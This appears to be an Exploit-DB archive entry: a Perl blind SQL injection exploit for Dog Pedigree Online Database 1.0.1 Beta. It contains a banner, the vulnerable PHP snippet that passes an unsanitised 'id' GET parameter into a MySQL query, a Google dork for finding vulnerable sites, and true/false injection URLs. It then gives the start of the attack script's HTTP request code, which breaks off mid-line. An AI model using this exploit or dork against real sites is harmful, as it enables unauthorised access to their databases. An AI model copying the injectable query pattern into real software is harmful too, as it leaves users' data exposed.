Exploit-DB #8740
Description: Dog Pedigree Online Database 1.0.1b - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-05-19
Author: YEnH4ckEr

Exploit:
#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**	       										      **
#**  											      **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []	  []    []    **
#** [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    **
#**							                                      **
#**    											      **
#**                          Â¡VIVA SPAIN!...Â¡GANAREMOS EL MUNDIAL!...o.O                      **
#**					Â¡PROUD TO BE SPANISH!				      **
#**											      **
#***********************************************************************************************
#***********************************************************************************************
#
#----------------------------------------------------------------------------------------------
#|       	   	     (GET var 'id') BLIND SQL INJECTION EXPLOIT		      	      |
#|--------------------------------------------------------------------------------------------|
#|                       |    Dog Pedigree Online Database v1.0.1-Beta     |		      |
#|  CMS INFORMATION:	  -------------------------------------------------	              |
#|										              |
#|-->WEB: http://thewhippetarchives.net/twa_is_offline.php          	                      |
#|-->DOWNLOAD: http://sourceforge.net/projects/dogarchive          	                      |
#|-->DEMO: N/A   	     			    					      |
#|-->CATEGORY: Genealogy								      |
#|-->DESCRIPTION: This project allows to setup and maintain a database for 	 	      |
#|		collecting (dog) pedigrees. The data will actually be collected...	      |
#|-->RELEASED: 2009-01-25								      |
#|											      |
#|  CMS VULNERABILITY:									      |
#|											      |
#|-->TESTED ON: firefox 3								      |
#|-->DORK: inurl:"printable_pedigree.php"				                      |
#|-->CATEGORY: BLIND SQL INJECTION EXPLOIT			                              |
#|-->AFFECT VERSION: <= 1.0.1 Beta			 			              |
#|-->Discovered Bug date: 2009-05-08							      |
#|-->Reported Bug date: 2009-05-08							      |
#|-->Fixed bug date: 2009-05-12								      |
#|-->Info patch (v1.0.2): http://sourceforge.net/projects/dogarchive/	 		      |
#|-->Author: YEnH4ckEr									      |
#|-->mail: y3nh4ck3r[at]gmail[dot]com							      |
#|-->WEB/BLOG: N/A									      |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)		      |
#----------------------------------------------------------------------------------------------
#
#-----------
#BUG FILES:
#-----------
#
#Path --> [HOME_PATH]/details.php
#Lines --> 135, 237-239
#
#It contents:
#	...
#
#	$currId = $_GET['id'];
#
#	...
#
#
#$query = "SELECT dog.creator, users.userId, users.username FROM dog 
#					 LEFT JOIN users ON dog.creator = users.userId WHERE id=$currId;";
#$result = mysql_query($query) or die('Query failed: ' . mysql_error());
#
#	...
#	
#------------
#CONDITIONS:
#------------
#
#
#**Exist a valid id
#
#**magic quotes=off/on
#
#
#---------------------------------------
#PROOF OF CONCEPT (BLIND SQL INJECTION):
#---------------------------------------
#
#http://[HOST]/[HOME_PATH]/details.php?id=63174+and+1=1%23  --> True
#
#http://[HOST]/[HOME_PATH]/details.php?id=63174+and+1=0%23  --> False
#
#
#######################################################################
#######################################################################
##*******************************************************************##
##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!  ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
## GREETZ TO: JosS, Ulises2k, J.McCray and Spanish Hack3Rs community!##
##*******************************************************************##
#######################################################################
#######################################################################
#
#-------------------EOF--INFO------------------------------->>>ENJOY IT!
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
	my $SO = $^O;
	my $linux = "";
	if (index(lc($SO),"win")!=-1){
		$linux="0";
	}else{
		$linux="1";
	}		
	if($linux){
		system("clear");
	}
	else{
		system("cls");
		system ("title Dog Pedigree Online Database v1.0.1-Beta (GET var 'id') BLIND SQL Injection Exploit");
		system ("color 04");
	}
}
sub request {
	my $userag = LWP::UserAgent->new;
	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
	my $request = HTTP::Request -> new(GET => $_[0]);
	my $outcode= $userag->request($request)->as_string;
	return $outcode;
}
sub helper {
	print "\n\t[!-!] Dogarchive v1.0.1 Beta (GET var 'id') BLIND SQL Injection Exploit\n";
	print "\t[!-!] USAGE MODE: [!-!]\n";
	print "\t[!-!] perl $0 [HOST] [PATH] [id]\n";
	print "\t[!-!] [HOST]: Web.\n";
	print "\t[!-!] [PATH]: Home Path. Not use path= no-path\n";
	print "\t[!-!] [id]: Valid id.\n";
	print "\t[!-!] Example: perl $0 'www.exampl